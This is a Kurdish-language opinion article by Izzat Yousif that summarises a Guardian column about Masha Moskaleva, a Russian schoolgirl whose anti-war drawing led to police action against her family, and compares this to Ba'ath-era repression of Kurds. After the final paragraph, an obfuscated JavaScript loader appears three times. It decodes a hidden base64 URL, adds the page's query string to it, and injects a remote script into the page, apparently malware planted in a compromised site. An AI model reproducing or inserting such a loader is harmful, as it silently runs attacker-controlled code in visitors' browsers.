مامۆستایا وایه‌یا هونه‌رى و وێنه‌یه‌ك
عزه‌ت یوسف
سه‌رهاتیه‌كا راست نڤیسه‌ر (رافایێل بێهر)، ل رۆژنامه‌یا گاردیانا به‌ریتانى ب تایتلى (- شه‌ڕێ پیرۆزێ – پۆتینى ل گه‌ل ئوكرانیا) نیشا مه دده‌ت، راستیه‌كا تاله و بیردانكا مه كوردان دزڤرینیته سه‌رده‌مێ بنده‌ستیا رژێما به‌عسیان، كو د هه‌مان كاودان دا ژیاینه، ده‌ما رژێما به‌عس برا و برا، باب و كور، هه‌مى كه‌س… ك دكرنه نه‌یار و ڤێكرا به‌ردان. سیاسه‌تا ڤێكرا به‌ردان و دوبه‌ره‌كى په‌یداكرن و سیخورى كرن ژ ئالیێ رژێما به‌عس ل گه‌ل گه‌لێ كوردستانێ هه‌تا سه‌رهلدانا 1991 یا به‌رده‌وام بوو، هه‌تا ئه‌ڤ رژێمه ب دیسپلینێن خوه‌ڤه ژ ناڤچووى و گه‌لێ كوردستانێ ب ئازادى و ره‌وشا دیفاكتۆیا نها شاد بووى.
ئه‌ڤا خوارێ كورتكرنا نڤێسینا نڤیسه‌رى یه من ژ زمانێ ئنگلیزى وه‌رگێرایه:
نیسانا سالا بوورى، (ماشا موسكالیڤا)، كچه‌كا ته‌مه‌ن 12 سالى ژ هه‌رێما (تولا) ل باشورێ مۆسكۆ، ل وانه‌یا هونه‌رى ل قوتابخانا خوه، وێنه‌یه‌ك كێشا مامۆستایا خوه پێ خه‌مگین كر. مامۆستا چو گۆته رێڤه‌به‌رى؛ رێڤه‌به‌رى په‌یوه‌ندى ب پۆلیسان كر؛ پۆلیسان گه‌هانده ده‌زگه‌هێ ئاسایشێ (FSB) و لێپرسین ل گه‌ل (ماشا) یێ هاته كرن، دایك و بابێن وێ هاتنه گرتن، لێدان و سزادان، كچ ژى برن و ئێخستنه بن چاڤدێریا ده‌وله‌تێ.
تاوانا ماشایێ (بێریزبكرنا له‌شكرى) بوو. (تاوانه‌ك) پشتى داگیركرنا ئوكرانیا بوویه یاسا داكو راستیێن تاوانان نه‌هێنه زانین. سزایێ ئه‌ڤێ پێنج سال زیندانه. وێنه‌یێ ماشایێ كێشاى، ژنه‌ك و زارۆكه‌ك، ده‌ست ل ناڤ ده‌ست، ل ته‌نیشت ئالایێ ئوكرانیا نیشان دابوو. مووشه‌ك ژ ئالیێ ئالایه‌كێ رۆسیاڤه به‌ره‌ڤ وان دهێن و ل سه‌ر نڤێیه (نه بۆ شه‌ڕى).
ئه‌ڤ گۆتنه ب تنێ ب زمانێ رۆسى (net voine in Russian) به‌سه بۆ ده‌ستپێكرنا لێپرسینا تاوانكاریێ. د شیاندایه ژبه‌ر تابلۆیه‌كا د ده‌ستێ ته دا كو تنێ ئاماژه ب وى درووشمى دكه‌ت كو ستێر ل سه‌رن *** ***** مرۆڤ بهێته گرتن.
مامۆستایا هونه‌رى یا ماشایێ داخواز ژ قوتابیێن پۆلێ نه‌كربوو كو تنێ وێنه‌یه‌كێ هه‌روه بكێشن. رێنمایى ئه‌و بوو كو تشته‌كى به‌رهه‌م بینن په‌یوه‌ست ب پیرۆزكرنا (ئۆپه‌راسیۆنا سه‌ربازیا تایبه‌ت) ل ئوكرانیا هه‌بیت.
شه‌ڕ د دره‌وه‌كێدا هاته دیتن: دیتنا شاشا پۆتینى كو ئوكرانیا نه وه‌لاته‌كێ راستینه‌یه، و گه‌لێ وێ تاقمه‌كا دلێن نازیا نوینه و كه‌تینه دناڤ ماددێن بێ هۆشكه‌ردا، و دێ پێشوازیێ ل هێرشا رۆسیا وه‌ك رزگاركه‌ر ژ ئالیێ برایێن خوه یێن سلاڤیكى ڤه كه‌ن.
ده‌مێ ئۆكرانیا به‌رسڤا شه‌ڕى داى و به‌رگرى كرى، هێلا فه‌رمى یا كرملین بۆ تشته‌كى خرابتر هاته گوهۆرین. دڤێت ئه‌و كه‌سێن ملكه‌چ نه‌بن بێ دلۆڤانى بهێنه ترساندن و تیرۆر كرن. هێرشێن مووشه‌كى یێن كورانه بۆ سه‌ر باژێرێن ئوكرانیا هیچ خزمه‌تا ئه‌ركه‌كێ تاكتیكیێ قادا شه‌ڕى ناكه‌ت. ئارمانج ژێ لاوازكرنا ده‌وله‌تا ئوكرانیایه وه‌كو پێشه‌كیه‌ك بۆ نه‌هێلانا ئوكرانیا وه‌ك كه‌لتوره‌كێ جودا و وه‌ك نهته‌وهیهك. ده‌نگ و تۆنا هنده‌ك ژ پسپۆرێن كه‌نالێن پرۆپاگه‌نده‌یێن كرملین ب ئاشكه‌رایى جینوسایده. ئه‌ڤه به‌ره‌یێ دوێ یێ شه‌ڕى یه، كو دژى وژدانا رۆسیا دهێته ئه‌نجامدان – هێرشه‌كا سه‌رتاسه‌رى ل سه‌ر راستیان، به‌لگه، ریالیست.
راپۆرته‌كا ڤێ داویێ یا (ئوڤ دى ئینفۆ)، كو گرۆپه‌كا پێشه‌نگێن مافێن مرۆڤێن رۆسیا یه، به‌لگه‌دار كریه كو نێزیكى 20 هه‌زار كه‌س ژبه‌ر كریارێن دژى شه‌ڕى هاتینه ده‌سته‌سه‌ركرن. حاله‌ت هه‌نه كو خه‌لكه‌ك ژبه‌ر ده‌ربرینا نه‌رازیبوونێ د دانوستاندنێن تایبه‌تدا، یان تنێ ژبه‌ر په‌یوه‌ندى ب وان كه‌سان هه‌نه كو دنیسن ب دژاتیا شه‌ڕى هاتینه ده‌سته‌سه‌ركرن. درنداتیا پۆلیسان رۆتینیه، ب گه‌فێن ته‌له‌فۆنى، تێكدان، لێدان، ده‌رێخستن ژ كارى.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
